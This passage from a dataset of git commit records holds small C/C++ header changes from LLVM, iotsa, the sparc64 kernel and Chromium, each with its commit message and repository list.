functions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_FUNCTION_H\n#define LLVM_TRANSFORMS_UTILS_FUNCTION_H\n\nnamespace llvm {\n\nclass Function;\nclass Loop;\n\n\/\/\/ ExtractLoop - rip out a natural loop into a new function\n\/\/\/\nFunction* ExtractLoop(Loop *L);\n\n\/\/\/ ExtractBasicBlock - rip out a basic block into a new function\n\/\/\/\nFunction* ExtractBasicBlock(BasicBlock *BB);\n\n}\n\n#endif\n","subject":"Add ability to extract a single basic block into a new function.","message":"Add ability to extract a single basic block into a new function.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@12052 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"dac4534697ccd7250a4af3f573fafd040a3ca263","old_file":"src\/iotsaFS.h","new_file":"src\/iotsaFS.h","old_contents":"#ifndef _IOTSAFS_H_\n#define _IOTSAFS_H_\n\/\/\n\/\/ SPIFFS\/LittleFS choice is complex, also for include file differences on ESP32\/ESP8266.\n\/\/ So put if all in a separate include file.\n\/\/\n#include <FS.h>\n\n#ifdef IOTSA_WITH_LEGACY_SPIFFS\n#ifdef ESP32\n#include <SPIFFS.h>\n#endif\n#define IOTSA_FS SPIFFS\n#define IOTSA_FS_NAME \"SPIFFS\"\n#else\n#include <LittleFS.h>\n#define IOTSA_FS LittleFS\n#define IOTSA_FS_NAME \"LittleFS\"\n#endif\n\n#endif\n","new_contents":"#ifndef _IOTSAFS_H_\n#define _IOTSAFS_H_\n\/\/\n\/\/ SPIFFS\/LittleFS choice is complex, also for include file differences on ESP32\/ESP8266.\n\/\/ So put if all in a separate include file.\n\/\/\n#include <FS.h>\n\n#ifdef IOTSA_WITH_LEGACY_SPIFFS\n#ifdef ESP32\n#include <SPIFFS.h>\n#endif\n#define IOTSA_FS SPIFFS\n#define IOTSA_FS_NAME \"SPIFFS\"\n#else\n#ifdef ESP32\n#include <LITTLEFS.h>\n#define IOTSA_FS LITTLEFS\n#else\n#include <LittleFS.h>\n#define IOTSA_FS LittleFS\n#endif\n#define IOTSA_FS_NAME \"LittleFS\"\n#endif\n\n#endif\n","subject":"Undo change for LittleFS include name: Arduino uses the capitalized one.","message":"Undo change for LittleFS include name: Arduino uses the capitalized one.\n","lang":"C","license":"mit","repos":"cwi-dis\/iotsa,cwi-dis\/iotsa,cwi-dis\/iotsa,cwi-dis\/iotsa"}
{"commit":"ef201bebe5afc91a2b99b45dacc8c6dd88ca9e58","old_file":"arch\/sparc\/include\/asm\/rwsem-const.h","new_file":"arch\/sparc\/include\/asm\/rwsem-const.h","old_contents":"\/* rwsem-const.h: RW semaphore counter constants.  *\/\n#ifndef _SPARC64_RWSEM_CONST_H\n#define _SPARC64_RWSEM_CONST_H\n\n#define RWSEM_UNLOCKED_VALUE\t\t0x00000000\n#define RWSEM_ACTIVE_BIAS\t\t0x00000001\n#define RWSEM_ACTIVE_MASK\t\t0x0000ffff\n#define RWSEM_WAITING_BIAS\t\t0xffff0000\n#define RWSEM_ACTIVE_READ_BIAS\t\tRWSEM_ACTIVE_BIAS\n#define RWSEM_ACTIVE_WRITE_BIAS\t\t(RWSEM_WAITING_BIAS + RWSEM_ACTIVE_BIAS)\n\n#endif \/* _SPARC64_RWSEM_CONST_H *\/\n","new_contents":"\/* rwsem-const.h: RW semaphore counter constants.  *\/\n#ifndef _SPARC64_RWSEM_CONST_H\n#define _SPARC64_RWSEM_CONST_H\n\n#define RWSEM_UNLOCKED_VALUE\t\t0x00000000\n#define RWSEM_ACTIVE_BIAS\t\t0x00000001\n#define RWSEM_ACTIVE_MASK\t\t0x0000ffff\n#define RWSEM_WAITING_BIAS\t\t(-0x00010000)\n#define RWSEM_ACTIVE_READ_BIAS\t\tRWSEM_ACTIVE_BIAS\n#define RWSEM_ACTIVE_WRITE_BIAS\t\t(RWSEM_WAITING_BIAS + RWSEM_ACTIVE_BIAS)\n\n#endif \/* _SPARC64_RWSEM_CONST_H *\/\n","subject":"Fix rwsem constant bug leading to hangs.","message":"sparc64: Fix rwsem constant bug leading to hangs.\n\nAs noticed by Linus, it is critical that some of the\nrwsem constants be signed.  Yet, hex constants are\nunsigned unless explicitly casted or negated.\n\nThe most critical one is RWSEM_WAITING_BIAS.\n\nThis bug was exacerbated by commit\n424acaaeb3a3932d64a9b4bd59df6cf72c22d8f3 (\"rwsem: wake queued readers\nwhen writer blocks on active read lock\")\n\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"8dab6ca9c638709e7b60b942107ab88b3ef7d06d","old_file":"utils\/TableGen\/CodeGenRegisters.h","new_file":"utils\/TableGen\/CodeGenRegisters.h","old_contents":"","new_contents":"\/\/===- CodeGenRegisters.h - Register and RegisterClass Info -----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines structures to encapsulate information gleaned from the\n\/\/ target register and register class definitions.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CODEGEN_REGISTERS_H\n#define CODEGEN_REGISTERS_H\n\n#include <string>\n\nnamespace llvm {\n  class Record;\n\n  \/\/\/ CodeGenRegister - Represents a register definition.\n  struct CodeGenRegister {\n    Record *TheDef;\n    const std::string &getName() const;\n    \n    CodeGenRegister(Record *R) : TheDef(R) {}\n  };\n\n\n  struct CodeGenRegisterClass {\n\n  };\n}\n\n#endif\n","subject":"Add initial support for register and register class representation. Obviously this is not done.","message":"Add initial support for register and register class representation.\nObviously this is not done.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@15804 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm"}
{"commit":"e067c269e4c9ac2bbc2d8b7691305aa6f78ba5b1","old_file":"webkit\/glue\/plugins\/ppb_private.h","new_file":"webkit\/glue\/plugins\/ppb_private.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"third_party\/ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","subject":"Add third_party\/ prefix to ppapi include for checkdeps.","message":"Add third_party\/ prefix to ppapi include for checkdeps.\n\nThe only users of this ppb should be inside chrome so this should work fine.\n\nTBR=jam@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/3019006\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@52766 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,jaruba\/chromium.src,patrickm\/chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,robclark\/chromium,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,robclark\/chromium,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,hujiajie\/pa-chromium,anirudhSK\/chromium,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,dednal\/chromium.src,M4sse\/chromium.src,robclark\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,patrickm\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,robclark\/chromium,patrickm\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,ltilve\/chromium,ondra-novak\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,rogerwang\/chromium,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,robclark\/chromium,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium,dednal\/chromium.src,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,Just-D\/chromium-1,Chilledheart\/chromium,ChromiumWebApps\/chromium,dednal\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,rogerwang\/chromium,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,M4sse\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,littlstar\/chromium.src,anirudhSK\/chromium,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,littlstar\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,ltilve\/chromium,markYoungH\/chromium.src,jaruba\/chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,keishi\/chromium,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,anirudhSK\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,jaruba\/chromium.src,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,markYoungH\/chromium.src,ondra-novak\/chromium.src,ltilve\/chromium,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,jaruba\/chromium.src,Just-D\/chromium-1,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,keishi\/chromium,jaruba\/chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,Chilledheart\/chromium,ondra-novak\/chromium.src,markYoungH\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,patrickm\/chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,dednal\/chromium.src,robclark\/chromium,zcbenz\/cefode-chromium,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,bright-sparks\/chromium-spacewalk,robclark\/chromium,rogerwang\/chromium,dednal\/chromium.src,Just-D\/chromium-1,zcbenz\/cefode-chromium"}
{"commit":"8af989c23f030663c8b5a297e988970b4910b461","old_file":"sandbox\/linux\/services\/android_arm_ucontext.h","new_file":"sandbox\/linux\/services\/android_arm_ucontext.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SANDBOX_LINUX_SERVICES_ANDROID_ARM_UCONTEXT_H_\n#define SANDBOX_LINUX_SERVICES_ANDROID_ARM_UCONTEXT_H_\ntypedef long int greg_t;\ntypedef unsigned long sigset_t;\ntypedef struct ucontext {\n  unsigned long   uc_flags;\n  struct ucontext  *uc_link;\n  stack_t     uc_stack;\n  struct sigcontext uc_mcontext;\n  sigset_t    uc_sigmask;\n  \/* Allow for uc_sigmask growth.  Glibc uses a 1024-bit sigset_t.  *\/\n  int     __not_used[32 - (sizeof (sigset_t) \/ sizeof (int))];\n  \/* Last for extensibility.  Eight byte aligned because some\n     coprocessors require eight byte alignment.  *\/\n  unsigned long   uc_regspace[128] __attribute__((__aligned__(8)));\n} ucontext_t;\n#endif  \/\/ SANDBOX_LINUX_SERVICES_ANDROID_ARM_UCONTEXT_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SANDBOX_LINUX_SERVICES_ANDROID_ARM_UCONTEXT_H_\n#define SANDBOX_LINUX_SERVICES_ANDROID_ARM_UCONTEXT_H_\n\n#include <asm\/sigcontext.h>\n\ntypedef long int greg_t;\ntypedef unsigned long sigset_t;\ntypedef struct ucontext {\n  unsigned long   uc_flags;\n  struct ucontext  *uc_link;\n  stack_t     uc_stack;\n  struct sigcontext uc_mcontext;\n  sigset_t    uc_sigmask;\n  \/* Allow for uc_sigmask growth.  Glibc uses a 1024-bit sigset_t.  *\/\n  int     __not_used[32 - (sizeof (sigset_t) \/ sizeof (int))];\n  \/* Last for extensibility.  Eight byte aligned because some\n     coprocessors require eight byte alignment.  *\/\n  unsigned long   uc_regspace[128] __attribute__((__aligned__(8)));\n} ucontext_t;\n#endif  \/\/ SANDBOX_LINUX_SERVICES_ANDROID_ARM_UCONTEXT_H_\n","subject":"Fix for downstream android webview","message":"Fix for downstream android webview\n\nPreviously erros is struct sigcontext is not defined. Including the\nheader file now.\n\nTBR=jln,markus\nAndroid only include change. Android trybots pass compile.\nNOTRY=true\nBUG=\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/11636039\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@174104 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,ltilve\/chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,dushu1203\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,ondra-novak\/chromium.src,markYoungH\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,jaruba\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,patrickm\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,dednal\/chromium.src,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,Chilledheart\/chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,patrickm\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,l